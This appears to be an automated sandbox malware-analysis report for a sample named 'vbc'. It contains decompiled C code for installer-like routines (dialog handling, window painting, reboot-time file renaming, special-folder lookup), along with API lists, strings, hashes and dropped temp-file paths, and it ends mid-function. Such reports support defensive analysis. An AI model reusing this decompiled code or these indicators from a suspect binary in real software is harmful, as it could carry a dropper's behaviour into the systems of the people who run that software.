								SendMessageW(_t56, 0x44b, 0,  &_v16);
								SetCursor(LoadCursorW(0, 0x7f02));
								_push(1);
								_t44 =  &_v8; // 0x7a6a40
								E00404A38(_a4,  *_t44);
								SetCursor(LoadCursorW(0, 0x7f00));
								_t114 = _a16;
							}
						}
						if( *((intOrPtr*)(_t114 + 8)) != 0x700 ||  *((intOrPtr*)(_t114 + 0xc)) != 0x100) {
							goto L28;
						} else {
							if( *((intOrPtr*)(_t114 + 0x10)) == 0xd) {
								SendMessageW( *0x7a8aa8, 0x111, 1, 0);
							}
							if( *((intOrPtr*)(_t114 + 0x10)) == 0x1b) {
								SendMessageW( *0x7a8aa8, 0x10, 0, 0);
							}
							return 1;
						}
					}
					if(_a12 >> 0x10 != 0 ||  *0x79ff54 != 0) {
						goto L27;
					} else {
						_t116 =  *0x7a0f60 + 0x14;
						if(( *_t116 & 0x00000020) == 0) {
							goto L27;
						}
						 *_t116 =  *_t116 & 0xfffffffe | SendMessageW(GetDlgItem(_a4, 0x40a), 0xf0, 0, 0) & 0x00000001;
						E004045EC(SendMessageW(GetDlgItem(_a4, 0x40a), 0xf0, 0, 0) & 0x00000001);
						E00404A14();
						goto L13;
					}
				}
				_t117 = _a16;
				_t75 =  *(_t117 + 0x30);
				if(_t75 < 0) {
					_t75 =  *( *0x7a7a7c - 4 + _t75 * 4);
				}
				_t76 =  *0x7a8ad8 + _t75 * 2;
				_t110 =  *_t76 & 0x0000ffff;
				_a8 = _t110;
				_t78 =  &(_t76[1]);
				_a16 = _t78;
				_v16 = _t78;
				_v12 = 0;
				_v8 = E0040473A;
				if(_t110 != 2) {
					_v8 = E00404700;
				}
				_push( *((intOrPtr*)(_t117 + 0x34)));
				_push(0x22);
				E004045CA(_a4);
				_push( *((intOrPtr*)(_t117 + 0x38)));
				_push(0x23);
				E004045CA(_a4);
				CheckDlgButton(_a4, (0 | ( !( *(_t117 + 0x14)) >> 0x00000005 & 0x00000001 |  *(_t117 + 0x14) & 0x00000001) == 0x00000000) + 0x40a, 1);
				E004045EC( !( *(_t117 + 0x14)) >> 0x00000005 & 0x00000001 |  *(_t117 + 0x14) & 0x00000001);
				_t118 = GetDlgItem(_a4, 0x3e8);
				E004045FF(_t118);
				SendMessageW(_t118, 0x45b, 1, 0);
				_t92 =  *( *0x7a8ab0 + 0x68);
				if(_t92 < 0) {
					_t92 = GetSysColor( ~_t92);
				}
				SendMessageW(_t118, 0x443, 0, _t92);
				SendMessageW(_t118, 0x445, 0, 0x4010000);
				SendMessageW(_t118, 0x435, 0, lstrlenW(_a16));
				 *0x79ff54 = 0;
				SendMessageW(_t118, 0x449, _a8,  &_v16);
				 *0x79ff54 = 0;
				return 0;
			}

0x0040479b
0x004048c8
0x00404925
0x00404929
0x004049f6
0x004049f8
0x004049f8
0x004049fe
0x004049fe
0x00404a01
0x00000000
0x00404a08
0x00404937
0x0040493d
0x00404947
0x00404952
0x00404955
0x00404958
0x00404963
0x00404966
0x0040496d
0x0040497a
0x0040498b
0x00404991
0x00404993
0x00404999
0x004049a7
0x004049ad
0x004049ad
0x0040496d
0x004049b7
0x00000000
0x004049c2
0x004049c6
0x004049d6
0x004049d6
0x004049dc
0x004049e8
0x004049e8
0x00000000
0x004049ec
0x004049b7
0x004048d3
0x00000000
0x004048e5
0x004048ea
0x004048f0
0x00000000
0x00000000
0x00404919
0x0040491b
0x00404920
0x00000000
0x00404920
0x004048d3
0x004047a1
0x004047a4
0x004047a9
0x004047ba
0x004047ba
0x004047c2
0x004047c5
0x004047c9
0x004047cc
0x004047d0
0x004047d3
0x004047d6
0x004047d9
0x004047e0
0x004047e2
0x004047e2
0x004047ec
0x004047f9
0x00404803
0x00404808
0x0040480b
0x00404810
0x00404827
0x0040482e
0x00404841
0x00404844
0x00404858
0x0040485f
0x00404864
0x00404869
0x00404869
0x00404877
0x00404885
0x00404897
0x0040489c
0x004048ac
0x004048ae
0x00000000

APIs

CheckDlgButton.USER32(?,-0000040A,00000001), ref: 00404827
GetDlgItem.USER32(?,000003E8), ref: 0040483B
SendMessageW.USER32(00000000,0000045B,00000001,00000000), ref: 00404858
GetSysColor.USER32 ref: 00404869
SendMessageW.USER32(00000000,00000443,00000000,?), ref: 00404877
SendMessageW.USER32(00000000,00000445,00000000,04010000), ref: 00404885
lstrlenW.KERNEL32(?), ref: 0040488A
SendMessageW.USER32(00000000,00000435,00000000,00000000), ref: 00404897
SendMessageW.USER32(00000000,00000449,00000110,00000110), ref: 004048AC
GetDlgItem.USER32(?,0000040A), ref: 00404905
SendMessageW.USER32(00000000), ref: 0040490C
GetDlgItem.USER32(?,000003E8), ref: 00404937
SendMessageW.USER32(00000000,0000044B,00000000,00000201), ref: 0040497A
LoadCursorW.USER32 ref: 00404988
SetCursor.USER32(00000000), ref: 0040498B
LoadCursorW.USER32 ref: 004049A4
SetCursor.USER32(00000000), ref: 004049A7
SendMessageW.USER32(00000111,00000001,00000000), ref: 004049D6
SendMessageW.USER32(00000010,00000000,00000000), ref: 004049E8

Strings

N, xrefs: 00404925
@jz, xrefs: 00404993

Memory Dump Source

Source File: 00000004.00000002.987799312.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.987790728.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.987830833.0000000000408000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.987844954.000000000040A000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.987854603.000000000040C000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.988249278.000000000077C000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.988285968.0000000000782000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.988299511.0000000000786000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.988316158.0000000000788000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.988346737.00000000007A6000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.988352904.00000000007B5000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.988357871.00000000007B9000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_vbc.jbxd

Similarity

API ID: MessageSend$Cursor$Item$Load$ButtonCheckColorlstrlen
String ID: @jz$N
API String ID: 3103080414-4087404676
Opcode ID: 2f7aa64e3dc70d49155a5c32c4c6c2cb2c3818e72aa53dab6a0d1c61e372e6f3
Instruction ID: a92c684f90d09e790cb96c84d129e3e4002e0b0c6609d0ca9bf02dd30757374c
Opcode Fuzzy Hash: 2f7aa64e3dc70d49155a5c32c4c6c2cb2c3818e72aa53dab6a0d1c61e372e6f3
Instruction Fuzzy Hash: D861A2B1900209BFDB109F61DD85AAA7BA9FB85315F00803AF705B62E1C77C9D51DF98

Uniqueness

Uniqueness Score: -1.00%

Function 004062B4 Relevance: 26.4, APIs: 10, Strings: 5, Instructions: 130
memorystringCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E004062B4(void* __ecx) {
				void* __ebx;
				void* __edi;
				void* __esi;
				long _t12;
				long _t24;
				char* _t31;
				int _t37;
				void* _t38;
				intOrPtr* _t39;
				long _t42;
				WCHAR* _t44;
				void* _t46;
				void* _t48;
				void* _t49;
				void* _t52;
				void* _t53;

				_t38 = __ecx;
				_t44 =  *(_t52 + 0x14);
				 *0x7a5628 = 0x55004e;
				 *0x7a562c = 0x4c;
				if(_t44 == 0) {
					L3:
					_t2 = _t52 + 0x1c; // 0x7a5e28
					_t12 = GetShortPathNameW( *_t2, 0x7a5e28, 0x400);
					if(_t12 != 0 && _t12 <= 0x400) {
						_t37 = wsprintfA(0x7a5228, "%ls=%ls\r\n", 0x7a5628, 0x7a5e28);
						_t53 = _t52 + 0x10;
						E004066AB(_t37, 0x400, 0x7a5e28, 0x7a5e28,  *((intOrPtr*)( *0x7a8ab0 + 0x128)));
						_t12 = E0040615E(0x7a5e28, 0xc0000000, 4);
						_t48 = _t12;
						 *(_t53 + 0x18) = _t48;
						if(_t48 != 0xffffffff) {
							_t42 = GetFileSize(_t48, 0);
							_t6 = _t37 + 0xa; // 0xa
							_t46 = GlobalAlloc(0x40, _t42 + _t6);
							if(_t46 == 0 || E004061E1(_t48, _t46, _t42) == 0) {
								L18:
								return CloseHandle(_t48);
							} else {
								if(E004060C3(_t38, _t46, "[Rename]\r\n") != 0) {
									_t49 = E004060C3(_t38, _t21 + 0xa, "\n[");
									if(_t49 == 0) {
										_t48 =  *(_t53 + 0x18);
										L16:
										_t24 = _t42;
										L17:
										E00406119(_t24 + _t46, 0x7a5228, _t37);
										SetFilePointer(_t48, 0, 0, 0);
										E00406210(_t48, _t46, _t42 + _t37);
										GlobalFree(_t46);
										goto L18;
									}
									_t39 = _t46 + _t42;
									_t31 = _t39 + _t37;
									while(_t39 > _t49) {
										 *_t31 =  *_t39;
										_t31 = _t31 - 1;
										_t39 = _t39 - 1;
									}
									_t24 = _t49 - _t46 + 1;
									_t48 =  *(_t53 + 0x18);
									goto L17;
								}
								lstrcpyA(_t46 + _t42, "[Rename]\r\n");
								_t42 = _t42 + 0xa;
								goto L16;
							}
						}
					}
				} else {
					CloseHandle(E0040615E(_t44, 0, 1));
					_t12 = GetShortPathNameW(_t44, 0x7a5628, 0x400);
					if(_t12 != 0 && _t12 <= 0x400) {
						goto L3;
					}
				}
				return _t12;
			}

0x004062b4
0x004062bd
0x004062c4
0x004062ce
0x004062e2
0x0040630a
0x00406311
0x00406315
0x00406319
0x00406339
0x00406340
0x0040634a
0x00406357
0x0040635c
0x00406361
0x00406365
0x00406374
0x00406376
0x00406383
0x00406387
0x00406422
0x00000000
0x0040639d
0x004063aa
0x004063ce
0x004063d2
0x004063f1
0x004063f5
0x004063f5
0x004063f7
0x00406400
0x0040640b
0x00406416
0x0040641c
0x00000000
0x0040641c
0x004063d4
0x004063d7
0x004063e2
0x004063de
0x004063e0
0x004063e1
0x004063e1
0x004063e9
0x004063eb
0x00000000
0x004063eb
0x004063b5
0x004063bb
0x00000000
0x004063bb
0x00406387
0x00406365
0x004062e4
0x004062ef
0x004062f8
0x004062fc
0x00000000
0x00000000
0x004062fc
0x0040642d

APIs

CloseHandle.KERNEL32(00000000), ref: 004062EF
GetShortPathNameW.KERNEL32 ref: 004062F8

Part of subcall function 004060C3: lstrlenA.KERNEL32(00000000,00000000,00000000,00000000,?,00000000,004063A8,00000000,[Rename],00000000,00000000,00000000,?,?,?,?), ref: 004060D3
Part of subcall function 004060C3: lstrlenA.KERNEL32(00000000,?,00000000,004063A8,00000000,[Rename],00000000,00000000,00000000,?,?,?,?), ref: 00406105

GetShortPathNameW.KERNEL32 ref: 00406315
wsprintfA.USER32 ref: 00406333
GetFileSize.KERNEL32(00000000,00000000,007A5E28,C0000000,00000004,007A5E28,?,?,?,?,?), ref: 0040636E
GlobalAlloc.KERNEL32(00000040,0000000A,?,?,?,?), ref: 0040637D
lstrcpyA.KERNEL32(00000000,[Rename],00000000,[Rename],00000000,00000000,00000000,?,?,?,?), ref: 004063B5
SetFilePointer.KERNEL32(0040A5B0,00000000,00000000,00000000,00000000,007A5228,00000000,-0000000A,0040A5B0,00000000,[Rename],00000000,00000000,00000000), ref: 0040640B
GlobalFree.KERNEL32(00000000), ref: 0040641C
CloseHandle.KERNEL32(00000000), ref: 00406423

Part of subcall function 0040615E: GetFileAttributesW.KERNELBASE(00000003,00403113,007B6800,80000000,00000003), ref: 00406162
Part of subcall function 0040615E: CreateFileW.KERNELBASE(?,?,00000001,00000000,?,00000001,00000000), ref: 00406184

Strings

(^z, xrefs: 0040630A
(^z, xrefs: 00406311
[Rename], xrefs: 0040639D, 004063AF
%ls=%ls, xrefs: 00406329
(Vz, xrefs: 004062DD

Memory Dump Source

Source File: 00000004.00000002.987799312.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.987790728.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.987830833.0000000000408000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.987844954.000000000040A000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.987854603.000000000040C000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.988249278.000000000077C000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.988285968.0000000000782000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.988299511.0000000000786000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.988316158.0000000000788000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.988346737.00000000007A6000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.988352904.00000000007B5000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.988357871.00000000007B9000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_vbc.jbxd

Similarity

API ID: File$CloseGlobalHandleNamePathShortlstrlen$AllocAttributesCreateFreePointerSizelstrcpywsprintf
String ID: %ls=%ls$(Vz$(^z$(^z$[Rename]
API String ID: 2171350718-2000197835
Opcode ID: 88b5ac268f0a1f1c2fdae64f0923303a12147287a2ba527380340a6ee5c0cda9
Instruction ID: 6cadb61bc7003589c9facc341004653e1fa6c0793f9c109ef5d6a16b2289e69d
Opcode Fuzzy Hash: 88b5ac268f0a1f1c2fdae64f0923303a12147287a2ba527380340a6ee5c0cda9
Instruction Fuzzy Hash: 2D313571600705BBD2206B669D48F1B3A9CEF85714F16003EFD42FA2C2DA7DD82586BD

Uniqueness

Uniqueness Score: -1.00%

Function 00401000 Relevance: 26.4, APIs: 14, Strings: 1, Instructions: 125
COMMON

Download Yara Rule

C-Code - Quality: 90%

			E00401000(struct HWND__* _a4, void* _a8, signed int _a12, void* _a16) {
				struct tagLOGBRUSH _v16;
				struct tagRECT _v32;
				struct tagPAINTSTRUCT _v96;
				struct HDC__* _t70;
				struct HBRUSH__* _t87;
				struct HFONT__* _t94;
				long _t102;
				signed int _t126;
				struct HDC__* _t128;
				intOrPtr _t130;

				if(_a8 == 0xf) {
					_t130 =  *0x7a8ab0;
					_t70 = BeginPaint(_a4,  &_v96);
					_v16.lbStyle = _v16.lbStyle & 0x00000000;
					_a8 = _t70;
					GetClientRect(_a4,  &_v32);
					_t126 = _v32.bottom;
					_v32.bottom = _v32.bottom & 0x00000000;
					while(_v32.top < _t126) {
						_a12 = _t126 - _v32.top;
						asm("cdq");
						asm("cdq");
						asm("cdq");
						_v16.lbColor = 0 << 0x00000008 | (( *(_t130 + 0x50) & 0x000000ff) * _a12 + ( *(_t130 + 0x54) & 0x000000ff) * _v32.top) / _t126 & 0x000000ff;
						_t87 = CreateBrushIndirect( &_v16);
						_v32.bottom = _v32.bottom + 4;
						_a16 = _t87;
						FillRect(_a8,  &_v32, _t87);
						DeleteObject(_a16);
						_v32.top = _v32.top + 4;
					}
					if( *(_t130 + 0x58) != 0xffffffff) {
						_t94 = CreateFontIndirectW( *(_t130 + 0x34));
						_a16 = _t94;
						if(_t94 != 0) {
							_t128 = _a8;
							_v32.left = 0x10;
							_v32.top = 8;
							SetBkMode(_t128, 1);
							SetTextColor(_t128,  *(_t130 + 0x58));
							_a8 = SelectObject(_t128, _a16);
							DrawTextW(_t128, 0x7a7aa0, 0xffffffff,  &_v32, 0x820);
							SelectObject(_t128, _a8);
							DeleteObject(_a16);
						}
					}
					EndPaint(_a4,  &_v96);
					return 0;
				}
				_t102 = _a16;
				if(_a8 == 0x46) {
					 *(_t102 + 0x18) =  *(_t102 + 0x18) | 0x00000010;
					 *((intOrPtr*)(_t102 + 4)) =  *0x7a8aa8;
				}
				return DefWindowProcW(_a4, _a8, _a12, _t102);
			}

0x0040100a
0x00401039
0x00401047
0x0040104d
0x00401051
0x0040105b
0x00401061
0x00401064
0x004010f3
0x00401089
0x0040108c
0x004010a6
0x004010bd
0x004010cc
0x004010cf
0x004010d5
0x004010d9
0x004010e4
0x004010ed
0x004010ef
0x004010ef
0x00401100
0x00401105
0x0040110d
0x00401110
0x00401112
0x00401118
0x0040111f
0x00401126
0x00401130
0x00401142
0x00401156
0x00401160
0x00401165
0x00401165
0x00401110
0x0040116e
0x00000000
0x00401178
0x00401010
0x00401013
0x00401015
0x0040101f
0x0040101f
0x00000000

APIs

DefWindowProcW.USER32(?,00000046,?,?), ref: 0040102C
BeginPaint.USER32(?,?), ref: 00401047
GetClientRect.USER32 ref: 0040105B
CreateBrushIndirect.GDI32(00000000), ref: 004010CF
FillRect.USER32 ref: 004010E4
DeleteObject.GDI32(?), ref: 004010ED
CreateFontIndirectW.GDI32(?), ref: 00401105
SetBkMode.GDI32(00000000,00000001), ref: 00401126
SetTextColor.GDI32(00000000,000000FF), ref: 00401130
SelectObject.GDI32(00000000,?), ref: 00401140
DrawTextW.USER32(00000000,007A7AA0,000000FF,00000010,00000820), ref: 00401156
SelectObject.GDI32(00000000,00000000), ref: 00401160
DeleteObject.GDI32(?), ref: 00401165
EndPaint.USER32(?,?), ref: 0040116E

Strings

F, xrefs: 0040100C

Memory Dump Source

Source File: 00000004.00000002.987799312.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.987790728.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.987830833.0000000000408000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.987844954.000000000040A000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.987854603.000000000040C000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.988249278.000000000077C000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.988285968.0000000000782000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.988299511.0000000000786000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.988316158.0000000000788000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.988346737.00000000007A6000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.988352904.00000000007B5000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.988357871.00000000007B9000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_vbc.jbxd

Similarity

API ID: Object$CreateDeleteIndirectPaintRectSelectText$BeginBrushClientColorDrawFillFontModeProcWindow
String ID: F
API String ID: 941294808-1304234792
Opcode ID: 6e3369a96ed7e46a89c954ac000689aa30afdbe1f06b793fb73954c758a37c86
Instruction ID: 97a6e5849d711934decb320d9e1447055a7c39d586dd296ee09aa65e352ff849
Opcode Fuzzy Hash: 6e3369a96ed7e46a89c954ac000689aa30afdbe1f06b793fb73954c758a37c86
Instruction Fuzzy Hash: 83418C71800209AFCF058F95CE459AF7BB9FF45315F00802AF991AA1A0CB389A55DFA4

Uniqueness

Uniqueness Score: -1.00%

Function 004066AB Relevance: 17.7, APIs: 7, Strings: 3, Instructions: 196
stringCOMMON

Download Yara Rule

C-Code - Quality: 72%

			E004066AB(void* __ebx, void* __edi, void* __esi, signed int _a4, short _a8) {
				struct _ITEMIDLIST* _v8;
				signed int _v12;
				signed int _v16;
				signed int _v20;
				signed int _v24;
				signed int _v28;
				signed int _t44;
				WCHAR* _t45;
				signed char _t47;
				signed int _t48;
				short _t59;
				short _t61;
				short _t63;
				void* _t71;
				signed int _t77;
				signed int _t78;
				short _t81;
				short _t82;
				signed char _t84;
				signed int _t85;
				void* _t98;
				void* _t104;
				intOrPtr* _t105;
				void* _t107;
				WCHAR* _t108;
				void* _t110;

				_t107 = __esi;
				_t104 = __edi;
				_t71 = __ebx;
				_t44 = _a8;
				if(_t44 < 0) {
					_t44 =  *( *0x7a7a7c - 4 + _t44 * 4);
				}
				_push(_t71);
				_push(_t107);
				_push(_t104);
				_t105 =  *0x7a8ad8 + _t44 * 2;
				_t45 = 0x7a6a40;
				_t108 = 0x7a6a40;
				if(_a4 >= 0x7a6a40 && _a4 - 0x7a6a40 >> 1 < 0x800) {
					_t108 = _a4;
					_a4 = _a4 & 0x00000000;
				}
				_t81 =  *_t105;
				_a8 = _t81;
				if(_t81 == 0) {
					L43:
					 *_t108 =  *_t108 & 0x00000000;
					if(_a4 == 0) {
						return _t45;
					}
					return E0040666E(_a4, _t45);
				} else {
					while((_t108 - _t45 & 0xfffffffe) < 0x800) {
						_t98 = 2;
						_t105 = _t105 + _t98;
						if(_t81 >= 4) {
							if(__eflags != 0) {
								 *_t108 = _t81;
								_t108 = _t108 + _t98;
								__eflags = _t108;
							} else {
								 *_t108 =  *_t105;
								_t108 = _t108 + _t98;
								_t105 = _t105 + _t98;
							}
							L42:
							_t82 =  *_t105;
							_a8 = _t82;
							if(_t82 != 0) {
								_t81 = _a8;
								continue;
							}
							goto L43;
						}
						_t84 =  *((intOrPtr*)(_t105 + 1));
						_t47 =  *_t105;
						_t48 = _t47 & 0x000000ff;
						_v12 = (_t84 & 0x0000007f) << 0x00000007 | _t47 & 0x0000007f;
						_t85 = _t84 & 0x000000ff;
						_v28 = _t48 | 0x00008000;
						_t77 = 2;
						_v16 = _t85;
						_t105 = _t105 + _t77;
						_v24 = _t48;
						_v20 = _t85 | 0x00008000;
						if(_a8 != _t77) {
							__eflags = _a8 - 3;
							if(_a8 != 3) {
								__eflags = _a8 - 1;
								if(__eflags == 0) {
									__eflags = (_t48 | 0xffffffff) - _v12;
									E004066AB(_t77, _t105, _t108, _t108, (_t48 | 0xffffffff) - _v12);
								}
								L38:
								_t108 =  &(_t108[lstrlenW(_t108)]);
								_t45 = 0x7a6a40;
								goto L42;
							}
							_t78 = _v12;
							__eflags = _t78 - 0x1d;
							if(_t78 != 0x1d) {
								__eflags = (_t78 << 0xb) + 0x7a9000;
								E0040666E(_t108, (_t78 << 0xb) + 0x7a9000);
							} else {
								E004065B5(_t108,  *0x7a8aa8);
							}
							__eflags = _t78 + 0xffffffeb - 7;
							if(__eflags < 0) {
								L29:
								E004068F5(_t108);
							}
							goto L38;
						}
						if( *0x7a8b24 != 0) {
							_t77 = 4;
						}
						_t121 = _t48;
						if(_t48 >= 0) {
							__eflags = _t48 - 0x25;
							if(_t48 != 0x25) {
								__eflags = _t48 - 0x24;
								if(_t48 == 0x24) {
									GetWindowsDirectoryW(_t108, 0x400);
									_t77 = 0;
								}
								while(1) {
									__eflags = _t77;
									if(_t77 == 0) {
										goto L26;
									}
									_t59 =  *0x7a8aa4;
									_t77 = _t77 - 1;
									__eflags = _t59;
									if(_t59 == 0) {
										L22:
										_t61 = SHGetSpecialFolderLocation( *0x7a8aa8,  *(_t110 + _t77 * 4 - 0x18),  &_v8);
										__eflags = _t61;
										if(_t61 != 0) {
											L24:
											 *_t108 =  *_t108 & 0x00000000;
											__eflags =  *_t108;
											continue;
										}
										__imp__SHGetPathFromIDListW(_v8, _t108);
										_a8 = _t61;
										__imp__CoTaskMemFree(_v8);
										__eflags = _a8;
										if(_a8 != 0) {
											goto L26;
										}
										goto L24;
									}
									_t63 =  *_t59( *0x7a8aa8,  *(_t110 + _t77 * 4 - 0x18), 0, 0, _t108);
									__eflags = _t63;
									if(_t63 == 0) {
										goto L26;
									}
									goto L22;
								}
								goto L26;
							}
							GetSystemDirectoryW(_t108, 0x400);
							goto L26;
						} else {
							E0040653C( *0x7a8ad8, _t121, 0x80000002, L"Software\\Microsoft\\Windows\\CurrentVersion",  *0x7a8ad8 + (_t48 & 0x0000003f) * 2, _t108, _t48 & 0x00000040);
							if( *_t108 != 0) {
								L27:
								if(_v16 == 0x1a) {
									lstrcatW(_t108, L"\\Microsoft\\Internet Explorer\\Quick Launch");
								}
								goto L29;
							}
							E004066AB(_t77, _t105, _t108, _t108, _v16);
							L26:
							if( *_t108 == 0) {
								goto L29;
							}
							goto L27;
						}
					}
					goto L43;
				}
			}

0x004066ab
0x004066ab
0x004066ab
0x004066b1
0x004066b6
0x004066c7
0x004066c7
0x004066cf
0x004066d0
0x004066d1
0x004066d2
0x004066d5
0x004066dd
0x004066df
0x004066f0
0x004066f3
0x004066f3
0x004066f7
0x004066fd
0x00406700
0x004068db
0x004068db
0x004068e6
0x004068f2
0x004068f2
0x00000000
0x00406706
0x0040670b
0x00406720
0x00406721
0x00406727
0x004068b9
0x004068c7
0x004068ca
0x004068ca
0x004068bb
0x004068be
0x004068c1
0x004068c3
0x004068c3
0x004068cc
0x004068cc
0x004068d2
0x004068d5
0x00406708
0x00000000
0x00406708
0x00000000
0x004068d5
0x0040672d
0x00406730
0x0040673f
0x00406746
0x00406752
0x00406755
0x00406758
0x00406759
0x0040675e
0x00406764
0x00406767
0x0040676a
0x0040685d
0x00406862
0x00406895
0x0040689a
0x0040689f
0x004068a4
0x004068a4
0x004068a9
0x004068af
0x004068b2
0x00000000
0x004068b2
0x00406864
0x00406867
0x0040686a
0x0040687f
0x00406886
0x0040686c
0x00406873
0x00406873
0x0040688e
0x00406891
0x00406855
0x00406856
0x00406856
0x00000000
0x00406891
0x00406777
0x0040677b
0x0040677b
0x0040677c
0x0040677e
0x004067bb
0x004067be
0x004067ce
0x004067d1
0x004067d9
0x004067df
0x004067df
0x0040683a
0x0040683a
0x0040683c
0x00000000
0x00000000
0x004067e3
0x004067e8
0x004067e9
0x004067eb
0x00406802
0x00406810
0x00406816
0x00406818
0x00406836
0x00406836
0x00406836
0x00000000
0x00406836
0x0040681e
0x00406827
0x0040682a
0x00406830
0x00406834
0x00000000
0x00000000
0x00000000
0x00406834
0x004067fc
0x004067fe
0x00406800
0x00000000
0x00000000
0x00000000
0x00406800
0x00000000
0x0040683a
0x004067c6
0x00000000
0x00406780
0x0040679e
0x004067a7
0x00406844
0x00406848
0x00406850
0x00406850
0x00000000
0x00406848
0x004067b1
0x0040683e
0x00406842
0x00000000
0x00000000
0x00000000
0x00406842
0x0040677e
0x00000000
0x0040670b

APIs

GetSystemDirectoryW.KERNEL32(C:\Users\user\AppData\Local\Temp\bmexo.exe C:\Users\user\AppData\Local\Temp\fmrfya,00000400), ref: 004067C6
GetWindowsDirectoryW.KERNEL32(C:\Users\user\AppData\Local\Temp\bmexo.exe C:\Users\user\AppData\Local\Temp\fmrfya,00000400,00000000,007A0F68,?,00405707,007A0F68,00000000,00000000,00000000,00000000), ref: 004067D9
lstrcatW.KERNEL32 ref: 00406850
lstrlenW.KERNEL32(C:\Users\user\AppData\Local\Temp\bmexo.exe C:\Users\user\AppData\Local\Temp\fmrfya,00000000,007A0F68,?,00405707,007A0F68,00000000), ref: 004068AA

Strings

\Microsoft\Internet Explorer\Quick Launch, xrefs: 0040684A
C:\Users\user\AppData\Local\Temp\bmexo.exe C:\Users\user\AppData\Local\Temp\fmrfya, xrefs: 004066D5, 00406788, 0040678F, 00406793, 004067B0, 004067C5, 004067D8, 004067ED, 0040681A, 0040684F, 00406855, 00406872, 00406885, 004068A3, 004068A9, 004068B2, 004068E8
Software\Microsoft\Windows\CurrentVersion, xrefs: 00406794

Memory Dump Source

Source File: 00000004.00000002.987799312.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.987790728.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.987830833.0000000000408000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.987844954.000000000040A000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.987854603.000000000040C000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.988249278.000000000077C000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.988285968.0000000000782000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.988299511.0000000000786000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.988316158.0000000000788000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.988346737.00000000007A6000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.988352904.00000000007B5000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.988357871.00000000007B9000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_vbc.jbxd

Similarity

API ID: Directory$SystemWindowslstrcatlstrlen
String ID: C:\Users\user\AppData\Local\Temp\bmexo.exe C:\Users\user\AppData\Local\Temp\fmrfya$Software\Microsoft\Windows\CurrentVersion$\Microsoft\Internet Explorer\Quick Launch
API String ID: 4260037668-1458657875
Opcode ID: e97bab54976981856f27dbe6ed1afce439577a8d563873806ee3eb84eabe0ca4
Instruction ID: c9eaf07520507b798c7259a568fd9567d3c8f5a418c476a208567326fda18bee
Opcode Fuzzy Hash: e97bab54976981856f27dbe6ed1afce439577a8d563873806ee3eb84eabe0ca4
Instruction Fuzzy Hash: F061FF72902115AADF10AF68CC40BAE37A5AF55314F22C03FE947B62D0DB3D49A5CB89

Uniqueness

Uniqueness Score: -1.00%

Function 00404631 Relevance: 12.1, APIs: 8, Instructions: 68
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E00404631(intOrPtr _a4, struct HDC__* _a8, struct HWND__* _a12) {
				struct tagLOGBRUSH _v16;
				long _t39;
				long _t41;
				void* _t44;
				signed char _t50;
